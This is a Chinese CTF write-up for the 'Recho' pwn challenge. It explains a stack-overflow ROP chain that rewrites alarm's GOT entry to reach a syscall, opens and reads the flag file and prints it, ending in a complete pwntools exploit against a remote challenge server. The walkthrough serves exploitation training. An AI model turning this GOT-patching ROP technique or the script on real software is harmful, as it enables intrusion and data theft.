首先,还是查看一下程序的保护机制。看起来不错。
然后用IDA分析
看起来是一个很简单的溢出,然而,这题的难点在于这个循环如何结束。read一直都是真,如果是在linux终端上直接运行,我们可以用Ctrl+D,然而,pwn远程,就无法处理这种信号。幸运的是pwntools提供了一个shutdown功能,该功能可以关闭流,如果我们关闭输入流,这个循环就结束了。但是我们别想再次ROP到主函数获取输入,因为关闭后就不能打开,除非重新运行,那么之前的工作不都白费了吗。因此,我们必须一次性完成所有操作。
[一次性要完成所有操作,那么暴露地址的方式肯定不能完成,幸运的是,我们可以使用系统调用(syscall)。对于有些系统,system也可以用系统调用,而对于有些系统则不行,因此,我们这里不再geshell,我们直接读取flag,然后打印出来。]{.mark}
我们知道,open、write、read、alarm这些都是系统调用,看看IDA代码就知道
我们希望构造这样的代码来拿到flag
1 2 3
| int fd = open("flag",READONLY); read(fd,buf,100); printf(buf);
|
由于本程序已经导入了alarm、read、write几个函数,我们现在缺的是open函数,由于open函数内部也是系统调用,只需要改变传入的eax,就可以调用open,因此,我们首先需要拿到syscall的地址或者是调用它的某处的地址。
alarm函数我们用不到,因此,我们想把它的GOT表地址改掉,但是,如何改呢,我们发现有这么一个gadget,这是经验,赶紧记下来,这个重点
先把两处undefine,然后再code,就变成了两条指令
这个可以把rdi里面存地址指向处加上al,那么,[如果rdi里存储着alarm的GOT表地址,那么add [rdi],al就是把GOT表里指向的地址向后偏移al,由于alarm函数向后偏移0x5个字节处调用了syscall,]{.mark}因此,如果我们的al为0x5,那么,add指令执行后,我们的alarm函数GOT表里的地址就指向了syscall的调用处,那么我们调用alarm也就是调用syscall,我们只需在之前传入eax(系统调用号),就可以调用我们需要的系统调用
查看libc的汇编代码,我们知道了[open的系统调用号为2]{.mark}
因此我们就可以拼凑出一个open来
我们还需要其他的一些指令,用来传参数,这些指令用IDA的搜索功能搜索pop就能找到,当然还有经验,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| '''''pop rax retn''' pop_rax = 0x4006FC '''''pop rdx retn''' pop_rdx = 0x4006FE '''''pop rsi pop r15 retn''' pop_rsi = 0x4008A1 '''''pop rdi retn''' pop_rdi = 0x4008A3 '''''add [rdi],al retn''' rdi_add = 0x40070d
|

比如这种隐藏的,需要经验,赶紧记住了。
Undefined后再向后偏移一个字节点Code,就出来了。其他类似。
我们还需要一个存取读取结果的地方,BSS段是可以读写的
1 2
| stdin_buffer = 0x601070
|
程序中也为我们准备好了”flag”字符串,指示我们使用
那么,我们就开始构造payload吧
我们需要先修改alarm的GOT表,改成调用syscall
1 2 3 4 5 6 7 8 9
| payload = 'a'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x5)
payload += p64(rdi_add)
|
然后,我们先构造fd = open(“flag”,READONLY);这句代码
1 2 3 4 5 6 7 8 9 10
| '''''fd = open('flag',READONLY)'''
payload += p64(pop_rsi) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(elf.search('flag').next())
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)
|
open以后,fd的值一般是3开始,依次增加。比如我open了两个文件,那么它们的fd分别为3和4。如果特殊,具体看调试结果
接下来,我们开始构造read(fd,stdin_buffer,100);这句代码
1 2 3 4 5 6 7 8 9 10
| ''''' read(fd,stdin_buffer,100) '''
payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)
|
现在,flag的内容已经存到了std_buffer里面了,我们用printf打印它就能获得答案
1 2
| payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
|
最后,我们关闭流,使循环退出,main函数到retn处,执行我们的ROP。
综上,我们的exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * import time context.log_level = 'debug'
sh = remote('111.198.29.45',56942) elf = ELF('./pwnh18')
'''''pop rax retn''' pop_rax = 0x4006FC '''''pop rdx retn''' pop_rdx = 0x4006FE '''''pop rsi pop r15 retn''' pop_rsi = 0x4008A1 '''''pop rdi retn''' pop_rdi = 0x4008A3 '''''add [rdi],al retn''' rdi_add = 0x40070d
stdin_buffer = 0x601070 alarm_got = elf.got['alarm'] alarm_plt = elf.plt['alarm'] read_plt = elf.plt['read'] printf_plt = elf.plt['printf'] sh.recvuntil('Welcome to Recho server!\n') sh.sendline(str(0x200)) payload = 'a'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x5)
payload += p64(rdi_add)
'''''fd = open('flag',READONLY)'''
payload += p64(pop_rsi) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(elf.search('flag').next())
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt) ''''' read(fd,stdin_buffer,100) '''
payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
payload = payload.ljust(0x200,'\x00') sh.sendline(payload)
sh.shutdown('write') sh.interactive()
|